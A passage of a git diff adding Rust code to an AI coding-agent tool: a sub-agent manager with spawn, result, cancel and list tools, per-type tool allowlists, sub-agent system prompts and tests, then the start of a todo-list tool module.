Serialize, Deserialize, PartialEq)] +#[serde(rename_all = "snake_case")] +pub enum SubAgentType { + /// General purpose - full tool access for multi-step tasks. + General, + /// Fast exploration - read-only tools for codebase search. + Explore, + /// Planning - analysis tools only for architectural planning. + Plan, + /// Code review - read + analysis tools. + Review, + /// Custom tool access defined at spawn time. + Custom, +} + +impl SubAgentType { + /// Parse a sub-agent type from user input. + #[must_use] + pub fn from_str(s: &str) -> Option { + match s.to_lowercase().as_str() { + "general" | "general-purpose" | "general_purpose" => Some(Self::General), + "explore" | "exploration" => Some(Self::Explore), + "plan" | "planning" => Some(Self::Plan), + "review" | "code-review" | "code_review" => Some(Self::Review), + "custom" => Some(Self::Custom), + _ => None, + } + } + + /// Get the system prompt for this agent type. + #[must_use] + pub fn system_prompt(&self) -> String { + match self { + Self::General => GENERAL_AGENT_PROMPT.to_string(), + Self::Explore => EXPLORE_AGENT_PROMPT.to_string(), + Self::Plan => PLAN_AGENT_PROMPT.to_string(), + Self::Review => REVIEW_AGENT_PROMPT.to_string(), + Self::Custom => CUSTOM_AGENT_PROMPT.to_string(), + } + } + + /// Get the default allowed tools for this agent type. + #[must_use] + pub fn allowed_tools(&self) -> Vec<&'static str> { + match self { + Self::General => vec![ + "list_dir", + "read_file", + "write_file", + "edit_file", + "exec_shell", + "note", + "todo_write", + ], + Self::Explore => vec!["list_dir", "read_file", "grep_files", "exec_shell"], + Self::Plan => vec!["list_dir", "read_file", "note", "update_plan", "todo_write"], + Self::Review => vec!["list_dir", "read_file", "grep_files", "note"], + Self::Custom => vec![], // Must be provided by caller. + } + } +} + +/// Status of a sub-agent execution. +#[derive(Debug, Clone, Serialize, Deserialize, PartialEq)] +pub enum SubAgentStatus { + Running, + Completed, + Failed(String), + Cancelled, +} + +/// Snapshot of sub-agent state for tool results. +#[derive(Debug, Clone, Serialize, Deserialize)] +pub struct SubAgentResult { + pub agent_id: String, + pub agent_type: SubAgentType, + pub status: SubAgentStatus, + pub result: Option, + pub steps_taken: u32, + pub duration_ms: u64, +} + +/// Runtime configuration for spawning sub-agents. +#[derive(Clone)] +pub struct SubAgentRuntime { + pub client: DeepSeekClient, + pub model: String, + pub context: ToolContext, + pub allow_shell: bool, + pub event_tx: Option>, +} + +impl SubAgentRuntime { + /// Create a runtime configuration for sub-agent execution. + #[must_use] + pub fn new( + client: DeepSeekClient, + model: String, + context: ToolContext, + allow_shell: bool, + event_tx: Option>, + ) -> Self { + Self { + client, + model, + context, + allow_shell, + event_tx, + } + } +} + +/// A running sub-agent instance. +pub struct SubAgent { + pub id: String, + pub agent_type: SubAgentType, + pub prompt: String, + pub status: SubAgentStatus, + pub result: Option, + pub steps_taken: u32, + pub started_at: Instant, + pub allowed_tools: Vec, + task_handle: Option>, +} + +impl SubAgent { + /// Create a new sub-agent. + fn new(agent_type: SubAgentType, prompt: String, allowed_tools: Vec) -> Self { + let id = format!("agent_{}", &Uuid::new_v4().to_string()[..8]); + + Self { + id, + agent_type, + prompt, + status: SubAgentStatus::Running, + result: None, + steps_taken: 0, + started_at: Instant::now(), + allowed_tools, + task_handle: None, + } + } + + /// Get a snapshot of the current state. + #[must_use] + pub fn snapshot(&self) -> SubAgentResult { + SubAgentResult { + agent_id: self.id.clone(), + agent_type: self.agent_type.clone(), + status: self.status.clone(), + result: self.result.clone(), + steps_taken: self.steps_taken, + duration_ms: u64::try_from(self.started_at.elapsed().as_millis()).unwrap_or(u64::MAX), + } + } +} + +/// Manager for active sub-agents. +pub struct SubAgentManager { + agents: HashMap, + workspace: PathBuf, + max_steps: u32, + max_agents: usize, +} + +impl SubAgentManager { + /// Create a new manager for sub-agents. + #[must_use] + pub fn new(workspace: PathBuf, max_agents: usize) -> Self { + Self { + agents: HashMap::new(), + workspace, + max_steps: DEFAULT_MAX_STEPS, + max_agents, + } + } + + /// Count running agents. + fn running_count(&self) -> usize { + self.agents + .values() + .filter(|agent| agent.status == SubAgentStatus::Running) + .count() + } + + /// Spawn a new background sub-agent. + pub fn spawn_background( + &mut self, + manager_handle: SharedSubAgentManager, + runtime: SubAgentRuntime, + agent_type: SubAgentType, + prompt: String, + allowed_tools: Option>, + ) -> Result { + if self.running_count() >= self.max_agents { + return Err(anyhow!( + "Sub-agent limit reached (max {}). Cancel or wait for an existing agent to finish.", + self.max_agents + )); + } + + let tools = build_allowed_tools(&agent_type, allowed_tools, runtime.allow_shell)?; + let mut agent = SubAgent::new(agent_type.clone(), prompt.clone(), tools.clone()); + let agent_id = agent.id.clone(); + let started_at = agent.started_at; + let max_steps = self.max_steps; + + if let Some(event_tx) = runtime.event_tx.clone() { + let _ = event_tx.try_send(Event::AgentSpawned { + id: agent_id.clone(), + prompt: prompt.clone(), + }); + } + + let task = SubAgentTask { + manager_handle, + runtime, + agent_id: agent_id.clone(), + agent_type, + prompt, + allowed_tools: tools, + started_at, + max_steps, + }; + let handle = tokio::spawn(run_subagent_task(task)); + agent.task_handle = Some(handle); + self.agents.insert(agent_id.clone(), agent); + + Ok(self + .agents + .get(&agent_id) + .expect("agent should exist after spawn") + .snapshot()) + } + + /// Get the current snapshot for an agent. + pub fn get_result(&self, agent_id: &str) -> Result { + let agent = self + .agents + .get(agent_id) + .ok_or_else(|| anyhow!("Agent {agent_id} not found"))?; + Ok(agent.snapshot()) + } + + /// Cancel a running sub-agent. + pub fn cancel(&mut self, agent_id: &str) -> Result { + let agent = self + .agents + .get_mut(agent_id) + .ok_or_else(|| anyhow!("Agent {agent_id} not found"))?; + + if agent.status == SubAgentStatus::Running { + agent.status = SubAgentStatus::Cancelled; + if let Some(handle) = agent.task_handle.take() { + handle.abort(); + } + } + + Ok(agent.snapshot()) + } + + /// List all agents and their status. + #[must_use] + pub fn list(&self) -> Vec { + self.agents.values().map(SubAgent::snapshot).collect() + } + + /// Clean up completed agents older than the given duration. + pub fn cleanup(&mut self, max_age: Duration) { + self.agents.retain(|_, agent| { + if agent.status == SubAgentStatus::Running { + true + } else { + agent.started_at.elapsed() < max_age + } + }); + } + + fn update_from_result(&mut self, agent_id: &str, result: SubAgentResult) { + if let Some(agent) = self.agents.get_mut(agent_id) { + agent.status = result.status; + agent.result = result.result; + agent.steps_taken = result.steps_taken; + agent.task_handle = None; + } + } + + fn update_failed(&mut self, agent_id: &str, error: String) { + if let Some(agent) = self.agents.get_mut(agent_id) { + agent.status = SubAgentStatus::Failed(error); + agent.task_handle = None; + } + } +} + +/// Thread-safe wrapper for `SubAgentManager`. +pub type SharedSubAgentManager = Arc>; + +/// Create a shared sub-agent manager with a configurable limit. +#[must_use] +pub fn new_shared_subagent_manager(workspace: PathBuf, max_agents: usize) -> SharedSubAgentManager { + let max_agents = max_agents.clamp(1, 5); + Arc::new(Mutex::new(SubAgentManager::new(workspace, max_agents))) +} + +// === Tool Implementations === + +/// Tool to spawn a background sub-agent. +pub struct AgentSpawnTool { + manager: SharedSubAgentManager, + runtime: SubAgentRuntime, +} + +impl AgentSpawnTool { + /// Create a new spawn tool. + #[must_use] + pub fn new(manager: SharedSubAgentManager, runtime: SubAgentRuntime) -> Self { + Self { manager, runtime } + } +} + +#[async_trait] +impl ToolSpec for AgentSpawnTool { + fn name(&self) -> &'static str { + "agent_spawn" + } + + fn description(&self) -> &'static str { + "Spawn a background sub-agent to handle a focused task. Returns an agent_id immediately; follow with agent_result to retrieve the result." + } + + fn input_schema(&self) -> Value { + json!({ + "type": "object", + "properties": { + "prompt": { + "type": "string", + "description": "Task description for the sub-agent" + }, + "type": { + "type": "string", + "description": "Sub-agent type: general, explore, plan, review, custom" + }, + "allowed_tools": { + "type": "array", + "items": { "type": "string" }, + "description": "Explicit tool allowlist (required for custom type)" + } + }, + "required": ["prompt"] + }) + } + + fn capabilities(&self) -> Vec { + vec![ + ToolCapability::ExecutesCode, + ToolCapability::RequiresApproval, + ] + } + + fn approval_requirement(&self) -> ApprovalRequirement { + ApprovalRequirement::Required + } + + async fn execute(&self, input: Value, _context: &ToolContext) -> Result { + let prompt = required_str(&input, "prompt")?.to_string(); + let agent_type = if let Some(kind) = input.get("type").and_then(|v| v.as_str()) { + SubAgentType::from_str(kind).ok_or_else(|| { + ToolError::invalid_input(format!( + "Invalid sub-agent type '{kind}'. Use: general, explore, plan, review, custom" + )) + })? + } else { + SubAgentType::General + }; + + let allowed_tools = input + .get("allowed_tools") + .and_then(|v| v.as_array()) + .map(|items| { + items + .iter() + .filter_map(|item| item.as_str().map(str::to_string)) + .collect::>() + }); + + let mut manager = self + .manager + .lock() + .map_err(|_| ToolError::execution_failed("Failed to lock sub-agent manager"))?; + + let result = manager + .spawn_background( + Arc::clone(&self.manager), + self.runtime.clone(), + agent_type, + prompt, + allowed_tools, + ) + .map_err(|e| ToolError::execution_failed(format!("Failed to spawn sub-agent: {e}")))?; + + let mut tool_result = + ToolResult::json(&result).map_err(|e| ToolError::execution_failed(e.to_string()))?; + if result.status == SubAgentStatus::Running { + tool_result.metadata = Some(json!({ "status": "Running" })); + } + Ok(tool_result) + } +} + +/// Tool to fetch a sub-agent's result. +pub struct AgentResultTool { + manager: SharedSubAgentManager, +} + +impl AgentResultTool { + /// Create a new result tool. + #[must_use] + pub fn new(manager: SharedSubAgentManager) -> Self { + Self { manager } + } +} + +#[async_trait] +impl ToolSpec for AgentResultTool { + fn name(&self) -> &'static str { + "agent_result" + } + + fn description(&self) -> &'static str { + "Get the latest status or final result for a sub-agent." + } + + fn input_schema(&self) -> Value { + json!({ + "type": "object", + "properties": { + "agent_id": { + "type": "string", + "description": "ID returned by agent_spawn" + }, + "block": { + "type": "boolean", + "description": "Wait for completion (default: false)" + }, + "timeout_ms": { + "type": "integer", + "description": "Max wait time in milliseconds (default: 30000)" + } + }, + "required": ["agent_id"] + }) + } + + fn capabilities(&self) -> Vec { + vec![ToolCapability::ReadOnly] + } + + async fn execute(&self, input: Value, _context: &ToolContext) -> Result { + let agent_id = required_str(&input, "agent_id")?; + let block = optional_bool(&input, "block", false); + let timeout_ms = optional_u64(&input, "timeout_ms", 30_000).clamp(1000, 300_000); + + let result = if block { + wait_for_result(&self.manager, agent_id, Duration::from_millis(timeout_ms)).await? + } else { + let manager = self + .manager + .lock() + .map_err(|_| ToolError::execution_failed("Failed to lock sub-agent manager"))?; + manager + .get_result(agent_id) + .map_err(|e| ToolError::execution_failed(e.to_string()))? + }; + + let mut tool_result = + ToolResult::json(&result).map_err(|e| ToolError::execution_failed(e.to_string()))?; + if result.status == SubAgentStatus::Running { + tool_result.metadata = Some(json!({ "status": "Running" })); + } + Ok(tool_result) + } +} + +/// Tool to cancel a sub-agent. +pub struct AgentCancelTool { + manager: SharedSubAgentManager, +} + +impl AgentCancelTool { + /// Create a new cancel tool. + #[must_use] + pub fn new(manager: SharedSubAgentManager) -> Self { + Self { manager } + } +} + +#[async_trait] +impl ToolSpec for AgentCancelTool { + fn name(&self) -> &'static str { + "agent_cancel" + } + + fn description(&self) -> &'static str { + "Cancel a running sub-agent." + } + + fn input_schema(&self) -> Value { + json!({ + "type": "object", + "properties": { + "agent_id": { + "type": "string", + "description": "ID returned by agent_spawn" + } + }, + "required": ["agent_id"] + }) + } + + fn capabilities(&self) -> Vec { + vec![ + ToolCapability::ExecutesCode, + ToolCapability::RequiresApproval, + ] + } + + fn approval_requirement(&self) -> ApprovalRequirement { + ApprovalRequirement::Required + } + + async fn execute(&self, input: Value, _context: &ToolContext) -> Result { + let agent_id = required_str(&input, "agent_id")?; + let mut manager = self + .manager + .lock() + .map_err(|_| ToolError::execution_failed("Failed to lock sub-agent manager"))?; + let result = manager + .cancel(agent_id) + .map_err(|e| ToolError::execution_failed(format!("Failed to cancel sub-agent: {e}")))?; + + ToolResult::json(&result).map_err(|e| ToolError::execution_failed(e.to_string())) + } +} + +/// Tool to list all sub-agents. +pub struct AgentListTool { + manager: SharedSubAgentManager, +} + +impl AgentListTool { + /// Create a new list tool. + #[must_use] + pub fn new(manager: SharedSubAgentManager) -> Self { + Self { manager } + } +} + +#[async_trait] +impl ToolSpec for AgentListTool { + fn name(&self) -> &'static str { + "agent_list" + } + + fn description(&self) -> &'static str { + "List all active and completed sub-agents with their status." + } + + fn input_schema(&self) -> Value { + json!({ + "type": "object", + "properties": {} + }) + } + + fn capabilities(&self) -> Vec { + vec![ToolCapability::ReadOnly] + } + + async fn execute( + &self, + _input: Value, + _context: &ToolContext, + ) -> Result { + let manager = self + .manager + .lock() + .map_err(|_| ToolError::execution_failed("Failed to lock sub-agent manager"))?; + let results = manager.list(); + ToolResult::json(&results).map_err(|e| ToolError::execution_failed(e.to_string())) + } +} + +// === Sub-agent Execution === + +struct SubAgentTask { + manager_handle: SharedSubAgentManager, + runtime: SubAgentRuntime, + agent_id: String, + agent_type: SubAgentType, + prompt: String, + allowed_tools: Vec, + started_at: Instant, + max_steps: u32, +} + +#[allow(clippy::too_many_lines)] +async fn run_subagent_task(task: SubAgentTask) { + let result = run_subagent( + &task.runtime, + task.agent_id.clone(), + task.agent_type, + task.prompt, + task.allowed_tools, + task.started_at, + task.max_steps, + ) + .await; + + if let Ok(mut manager) = task.manager_handle.lock() { + match &result { + Ok(res) => manager.update_from_result(&task.agent_id, res.clone()), + Err(err) => manager.update_failed(&task.agent_id, err.to_string()), + } + } + + if let Some(event_tx) = task.runtime.event_tx { + let status = match &result { + Ok(res) => summarize_subagent_result(res), + Err(err) => format!("Failed: {err}"), + }; + let _ = event_tx.try_send(Event::AgentComplete { + id: task.agent_id, + result: status, + }); + } +} + +#[allow(clippy::too_many_lines)] +async fn run_subagent( + runtime: &SubAgentRuntime, + agent_id: String, + agent_type: SubAgentType, + prompt: String, + allowed_tools: Vec, + started_at: Instant, + max_steps: u32, +) -> Result { + let system_prompt = agent_type.system_prompt(); + let tool_registry = SubAgentToolRegistry::new( + runtime.context.clone(), + allowed_tools.clone(), + runtime.allow_shell, + Arc::new(Mutex::new(TodoList::new())), + Arc::new(Mutex::new(PlanState::default())), + ); + let tools = tool_registry.tools_for_model(); + + let mut messages = vec![Message { + role: "user".to_string(), + content: vec![ContentBlock::Text { + text: prompt, + cache_control: None, + }], + }]; + + let mut steps = 0; + let mut final_result: Option = None; + + for _step in 0..max_steps { + steps += 1; + + let request = MessageRequest { + model: runtime.model.clone(), + messages: messages.clone(), + max_tokens: 4096, + system: Some(SystemPrompt::Text(system_prompt.clone())), + tools: Some(tools.clone()), + tool_choice: Some(json!({ "type": "auto" })), + metadata: None, + thinking: None, + stream: Some(false), + temperature: None, + top_p: None, + }; + + let response = runtime.client.create_message(request).await?; + + let mut tool_uses = Vec::new(); + for block in &response.content { + match block { + ContentBlock::Text { text, .. } => { + if !text.trim().is_empty() { + final_result = Some(text.clone()); + } + } + ContentBlock::ToolUse { id, name, input } => { + tool_uses.push((id.clone(), name.clone(), input.clone())); + } + _ => {} + } + } + + messages.push(Message { + role: "assistant".to_string(), + content: response.content.clone(), + }); + + if tool_uses.is_empty() { + break; + } + + let mut tool_results: Vec = Vec::new(); + for (tool_id, tool_name, tool_input) in tool_uses { + let result = match tokio::time::timeout(TOOL_TIMEOUT, async { + tool_registry.execute(&tool_name, tool_input).await + }) + .await + { + Ok(Ok(output)) => output, + Ok(Err(e)) => format!("Error: {e}"), + Err(_) => format!("Error: Tool {tool_name} timed out"), + }; + + tool_results.push(ContentBlock::ToolResult { + tool_use_id: tool_id, + content: result, + }); + } + + if !tool_results.is_empty() { + messages.push(Message { + role: "user".to_string(), + content: tool_results, + }); + } + } + + Ok(SubAgentResult { + agent_id, + agent_type, + status: SubAgentStatus::Completed, + result: final_result, + steps_taken: steps, + duration_ms: u64::try_from(started_at.elapsed().as_millis()).unwrap_or(u64::MAX), + }) +} + +async fn wait_for_result( + manager: &SharedSubAgentManager, + agent_id: &str, + timeout: Duration, +) -> Result { + let deadline = Instant::now() + timeout; + + loop { + let snapshot = { + let manager = manager + .lock() + .map_err(|_| ToolError::execution_failed("Failed to lock sub-agent manager"))?; + manager + .get_result(agent_id) + .map_err(|e| ToolError::execution_failed(e.to_string()))? + }; + + if snapshot.status != SubAgentStatus::Running || Instant::now() >= deadline { + return Ok(snapshot); + } + + tokio::time::sleep(RESULT_POLL_INTERVAL).await; + } +} + +// === Tool Registry Helpers === + +struct SubAgentToolRegistry { + allowed_tools: Vec, + registry: ToolRegistry, +} + +impl SubAgentToolRegistry { + fn new( + context: ToolContext, + allowed_tools: Vec, + allow_shell: bool, + todo_list: SharedTodoList, + plan_state: SharedPlanState, + ) -> Self { + let mut builder = ToolRegistryBuilder::new() + .with_file_tools() + .with_search_tools() + .with_note_tool() + .with_todo_tool(todo_list) + .with_plan_tool(plan_state); + + if allow_shell { + builder = builder.with_shell_tools(); + } + + let registry = builder.build(context); + + Self { + allowed_tools, + registry, + } + } + + fn tools_for_model(&self) -> Vec { + self.registry + .to_api_tools() + .into_iter() + .filter(|tool| self.allowed_tools.contains(&tool.name)) + .collect() + } + + async fn execute(&self, name: &str, input: Value) -> Result { + if !self.allowed_tools.iter().any(|tool| tool == name) { + return Err(anyhow!("Tool {name} not allowed for this sub-agent")); + } + + self.registry + .execute(name, input) + .await + .map_err(|e| anyhow!(e)) + } +} + +fn build_allowed_tools( + agent_type: &SubAgentType, + explicit_tools: Option>, + allow_shell: bool, +) -> Result> { + let mut tools = explicit_tools.unwrap_or_else(|| { + agent_type + .allowed_tools() + .iter() + .map(|tool| (*tool).to_string()) + .collect() + }); + + if matches!(agent_type, SubAgentType::Custom) && tools.is_empty() { + return Err(anyhow!( + "Custom sub-agent requires a non-empty allowed_tools list" + )); + } + + if !allow_shell { + tools.retain(|tool| tool != "exec_shell"); + } + + Ok(tools) +} + +fn summarize_subagent_result(result: &SubAgentResult) -> String { + match (&result.status, result.result.as_ref()) { + (SubAgentStatus::Completed, Some(text)) => truncate_preview(text), + (SubAgentStatus::Completed, None) => "Completed (no output)".to_string(), + (SubAgentStatus::Cancelled, _) => "Cancelled".to_string(), + (SubAgentStatus::Failed(error), _) => format!("Failed: {error}"), + (SubAgentStatus::Running, _) => "Running".to_string(), + } +} + +fn truncate_preview(text: &str) -> String { + const MAX_LEN: usize = 240; + if text.len() <= MAX_LEN { + text.to_string() + } else { + format!("{}...", text.chars().take(MAX_LEN).collect::()) + } +} + +// === System prompts === + +const GENERAL_AGENT_PROMPT: &str = r"You are a sub-agent spawned to handle a specific task autonomously. + +Your capabilities: +- Full file system access (read, write, edit) +- Shell command execution +- Note taking and todo management + +Guidelines: +- Focus solely on the assigned task +- Be thorough but efficient +- Return a clear, concise summary of your findings/actions +- If you encounter errors, try alternative approaches +- Do not ask for user input - work autonomously + +Complete the task and provide your final result. +"; + +const EXPLORE_AGENT_PROMPT: &str = r"You are a fast exploration sub-agent specialized for codebase search. + +Your capabilities: +- Read files and directories +- Execute shell commands (grep, find, etc.) + +Guidelines: +- Focus on finding relevant code quickly +- Use shell commands for efficient searching +- Read only files that seem relevant +- Summarize your findings concisely +- Return file paths and key code snippets + +Complete the exploration and provide your findings. +"; + +const PLAN_AGENT_PROMPT: &str = r"You are a planning sub-agent specialized for architectural analysis. + +Your capabilities: +- Read files and directories +- Take notes +- Update plans + +Guidelines: +- Analyze the codebase structure +- Identify key components and patterns +- Consider trade-offs and alternatives +- Provide clear recommendations +- Document your analysis + +Complete the analysis and provide your plan. +"; + +const REVIEW_AGENT_PROMPT: &str = r"You are a code review sub-agent. + +Your capabilities: +- Read files and directories +- Take notes + +Guidelines: +- Focus on code quality and correctness +- Check for bugs, security issues, and best practices +- Note any concerns or suggestions +- Be constructive in your feedback +- Prioritize issues by severity + +Complete the review and provide your feedback. +"; + +const CUSTOM_AGENT_PROMPT: &str = r"You are a custom sub-agent with specific tool access. + +Work autonomously to complete the assigned task using only the tools available to you. + +Complete the task and provide your final result. +"; + +// === Tests === + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn test_agent_type_from_str() { + assert_eq!( + SubAgentType::from_str("general"), + Some(SubAgentType::General) + ); + assert_eq!( + SubAgentType::from_str("explore"), + Some(SubAgentType::Explore) + ); + assert_eq!(SubAgentType::from_str("PLAN"), Some(SubAgentType::Plan)); + assert_eq!( + SubAgentType::from_str("code-review"), + Some(SubAgentType::Review) + ); + assert_eq!(SubAgentType::from_str("invalid"), None); + } + + #[test] + fn test_allowed_tools_shell_filter() { + let tools = build_allowed_tools(&SubAgentType::General, None, false).unwrap(); + assert!(!tools.contains(&"exec_shell".to_string())); + } + + #[test] + fn test_custom_agent_requires_allowed_tools() { + let err = build_allowed_tools(&SubAgentType::Custom, None, true).unwrap_err(); + assert!(err.to_string().contains("requires")); + } + + #[test] + fn test_running_count_respects_limit() { + let mut manager = SubAgentManager::new(PathBuf::from("."), 1); + let mut agent = SubAgent::new( + SubAgentType::Explore, + "prompt".to_string(), + vec!["read_file".to_string()], + ); + agent.status = SubAgentStatus::Running; + manager.agents.insert(agent.id.clone(), agent); + + assert_eq!(manager.running_count(), 1); + } +} diff --git a/src/tools/todo.rs b/src/tools/todo.rs new file mode 100644 index 00000000..9dd52d17 --- /dev/null +++ b/src/tools/todo.rs @@ -0,0 +1,576 @@ +//! Todo list tool and supporting data structures. + +use std::sync::{Arc, Mutex}; + +use async_trait::async_trait; +use serde::{Deserialize, Serialize}; +use serde_json::json; + +use crate::tools::spec::{ + ApprovalRequirement, ToolCapability, ToolContext, ToolError, ToolResult, ToolSpec, +}; + +// === Types === + +/// Status for a todo item. +#[derive(Debug, Clone, Copy, Serialize, Deserialize, PartialEq, Eq)] +#[serde(rename_all = "snake_case")] +pub enum TodoStatus { + Pending, + InProgress, + Completed, +} + +impl TodoStatus { + #[allow(dead_code)] + pub fn as_str(self) -> &'static str { + match self { + TodoStatus::Pending => "pending", + TodoStatus::InProgress => "in_progress", + TodoStatus::Completed => "completed", + } + } + + /// Parse a string into a todo status. + #[must_use] + pub fn from_str(value: &str) -> Option { + match value.trim().to_lowercase().as_str() { + "pending" => Some(TodoStatus::Pending), + "in_progress" | "inprogress" => Some(TodoStatus::InProgress), + "completed" | "done" => Some(TodoStatus::Completed), + _ => None, + } + } +} + +/// A single todo item. +#[derive(Debug, Clone, Serialize, Deserialize)] +pub struct TodoItem { + pub id: u32, + pub content: String, + pub status: TodoStatus, +} + +/// Snapshot of a todo list for display or serialization. +#[derive(Debug, Clone, Serialize)] +pub struct TodoListSnapshot { + pub items: Vec, + pub completion_pct: u8, + pub in_progress_id: Option, +} + +/// Mutable list of todo items with helper operations. +#[derive(Debug, Clone, Default)] +pub struct TodoList { + items: Vec, + next_id: u32, +} + +impl TodoList { + /// Create an empty todo list. + #[must_use] + pub fn new() -> Self { + Self { + items: Vec::new(), + next_id: 1, + } + } + + /// Check whether the list is empty. + #[must_use] + pub fn is_empty(&self) -> bool { + self.items.is_empty() + } + + /// Return all todo items. + #[must_use] + pub fn items(&self) -> &[TodoItem] { + &self.items + } + + /// Return a snapshot of the list with computed metrics. + #[must_use] + pub fn snapshot(&self) -> TodoListSnapshot { + TodoListSnapshot { + items: self.items.clone(), + completion_pct: self.completion_percentage(), + in_progress_id: self.in_progress_id(), + } + } + + /// Add a new todo item. + pub fn add(&mut self, content: String, status: TodoStatus) -> TodoItem { + let status = match status { + TodoStatus::InProgress => { + self.set_single_in_progress(None); + TodoStatus::InProgress + } + other => other, + }; + + let item = TodoItem { + id: self.next_id, + content, + status, + }; + self.next_id += 1; + self.items.push(item.clone()); + item + } + + /// Update an item's status by id. + pub fn update_status(&mut self, id: u32, status: TodoStatus) -> Option { + let mut updated: Option = None; + if status == TodoStatus::InProgress { + self.set_single_in_progress(Some(id)); + } + for item in &mut self.items { + if item.id == id { + item.status = status; + updated = Some(item.clone()); + break; + } + } + updated + } + + /// Compute completion percentage for the list. + #[must_use] + pub fn completion_percentage(&self) -> u8 { + if self.items.is_empty() { + return 0; + } + let total = self.items.len(); + let completed = self + .items + .iter() + .filter(|item| item.status == TodoStatus::Completed) + .count(); + let percent = completed.saturating_mul(100); + let percent = (percent + total / 2) / total; + u8::try_from(percent).unwrap_or(u8::MAX) + } + + /// Return the id of the in-progress item, if any. + #[must_use] + pub fn in_progress_id(&self) -> Option { + self.items + .iter() + .find(|item| item.status == TodoStatus::InProgress) + .map(|item| item.id) + } + + /// Clear all todo items. + pub fn clear(&mut self) { + self.items.clear(); + self.next_id = 1; + } + + /// Auto-create a todo list from a multi-step input. + pub fn maybe_auto_create(&mut self, input: &str) -> bool { + if !self.items.is_empty() { + return false; + } + if !looks_multi_step(input) { + return false; + } + let summary = summarize_input(input, 64); + self.add(format!("Break down: {summary}"), TodoStatus::InProgress); + true + } + + fn set_single_in_progress(&mut self, allow_id: Option) { + for item in &mut self.items { + if Some(item.id) != allow_id && item.status == TodoStatus::InProgress { + item.status = TodoStatus::Pending; + } + } + } +} + +fn looks_multi_step(input: &str) -> bool { + let trimmed = input.trim(); + if trimmed.is_empty() { + return false; + } + + let lines = trimmed.lines().count(); + if lines >= 3 { + return true; + } + + let bullet_lines = trimmed + .lines() + .filter(|line| { + let line = line.trim_start(); + line.starts_with("- ") + || line.starts_with("* ") + || line.starts_with("1.") + || line.starts_with("2.") + }) + .count(); + if bullet_lines >= 2 { + return true; + } + + let sentence_count = trimmed + .split(['.', '!', '?']) + .filter(|part| !part.trim().is_empty()) + .count(); + if sentence_count >= 2 { + return true; + } + + let lower = trimmed.to_lowercase(); + let has_conjunction = lower.contains(" then ") + || lower.contains(" and ") + || lower.contains(" also ") + || lower.contains(" next ") + || lower.contains(" afterwards ") + || lower.contains(" after that "); + has_conjunction && trimmed.split_whitespace().count() >= 10 +} + +fn summarize_input(input: &str, max_len: usize) -> String { + let first_line = input + .lines() + .find(|line| !line.trim().is_empty()) + .unwrap_or("") + .trim(); + if first_line.chars().count() <= max_len { + return first_line.to_string(); + } + let truncated: String = first_line.chars().take(max_len).collect(); + format!("{truncated}...") +} + +// === TodoWriteTool - ToolSpec implementation === + +/// Shared reference to a `TodoList` for use across tools +pub type SharedTodoList = Arc>; + +/// Create a new shared `TodoList` +pub fn new_shared_todo_list() -> SharedTodoList { + Arc::new(Mutex::new(TodoList::new())) +} + +/// Tool for writing and updating the todo list +pub struct TodoWriteTool { + todo_list: SharedTodoList, +} + +impl TodoWriteTool { + pub fn new(todo_list: SharedTodoList) -> Self { + Self { todo_list } + } +} + +/// Tool for adding a single todo item (legacy compatibility). +pub struct TodoAddTool { + todo_list: SharedTodoList, +} + +impl TodoAddTool { + pub fn new(todo_list: SharedTodoList) -> Self { + Self { todo_list } + } +} + +#[async_trait] +impl ToolSpec for TodoAddTool { + fn name(&self) -> &'static str { + "todo_add" + } + + fn description(&self) -> &'static str { + "Add a single todo item (legacy compatibility)." + } + + fn input_schema(&self) -> serde_json::Value { + json!({ + "type": "object", + "properties": { + "content": { + "type": "string", + "description": "The task description" + }, + "status": { + "type": "string", + "enum": ["pending", "in_progress", "completed"], + "description": "Task status (default: pending)" + } + }, + "required": ["content"] + }) + } + + fn capabilities(&self) -> Vec { + vec![ToolCapability::WritesFiles] + } + + fn approval_requirement(&self) -> ApprovalRequirement { + ApprovalRequirement::Auto + } + + async fn execute( + &self, + input: serde_json::Value, + _context: &ToolContext, + ) -> Result { + let content = input + .get("content") + .and_then(|v| v.as_str()) + .ok_or_else(|| ToolError::invalid_input("Missing 'content'"))?; + let status = input + .get("status") + .and_then(|v| v.as_str()) + .and_then(TodoStatus::from_str) + .unwrap_or(TodoStatus::Pending); + + let mut list = self + .todo_list + .lock() + .map_err(|e| ToolError::execution_failed(format!("Failed to lock todo list: {e}")))?; + let item = list.add(content.to_string(), status); + let snapshot = list.snapshot(); + + let result = serde_json::to_string_pretty(&snapshot).unwrap_or_else(|_| "{}".to_string()); + Ok(ToolResult::success(format!( + "Added todo #{} ({})\n{}", + item.id, + item.status.as_str(), + result + ))) + } +} + +/// Tool for updating a todo item's status (legacy compatibility). +pub struct TodoUpdateTool { + todo_list: SharedTodoList, +} + +impl TodoUpdateTool { + pub fn new(todo_list: SharedTodoList) -> Self { + Self { todo_list } + } +} + +#[async_trait] +impl ToolSpec for TodoUpdateTool { + fn name(&self) -> &'static str { + "todo_update" + } + + fn description(&self) -> &'static str { + "Update a todo item's status by id (legacy compatibility)." + } + + fn input_schema(&self) -> serde_json::Value { + json!({ + "type": "object", + "properties": { + "id": { + "type": "integer", + "description": "Todo item id" + }, + "status": { + "type": "string", + "enum": ["pending", "in_progress", "completed"], + "description": "New status" + } + }, + "required": ["id", "status"] + }) + } + + fn capabilities(&self) -> Vec { + vec![ToolCapability::WritesFiles] + } + + fn approval_requirement(&self) -> ApprovalRequirement { + ApprovalRequirement::Auto + } + + async fn execute( + &self, + input: serde_json::Value, + _context: &ToolContext, + ) -> Result { + let id = input + .get("id") + .and_then(|v| v.as_u64()) + .and_then(|v| u32::try_from(v).ok()) + .ok_or_else(|| ToolError::invalid_input("Missing or invalid 'id'"))?; + let status = input + .get("status") + .and_then(|v| v.as_str()) + .and_then(TodoStatus::from_str) + .ok_or_else(|| ToolError::invalid_input("Missing or invalid 'status'"))?; + + let mut list = self + .todo_list + .lock() + .map_err(|e| ToolError::execution_failed(format!("Failed to lock todo list: {e}")))?; + let updated = list.update_status(id, status); + let snapshot = list.snapshot(); + let result = serde_json::to_string_pretty(&snapshot).unwrap_or_else(|_| "{}".to_string()); + + match updated { + Some(item) => Ok(ToolResult::success(format!( + "Updated todo #{} to {}\n{}", + item.id, + item.status.as_str(), + result + ))), + None => Ok(ToolResult::error(format!("Todo id {id} not found"))), + } + } +} + +/// Tool for listing current todos (legacy compatibility). +pub struct TodoListTool { + todo_list: SharedTodoList, +} + +impl TodoListTool { + pub fn new(todo_list: SharedTodoList) -> Self { + Self { todo_list } + } +} + +#[async_trait] +impl ToolSpec for TodoListTool { + fn name(&self) -> 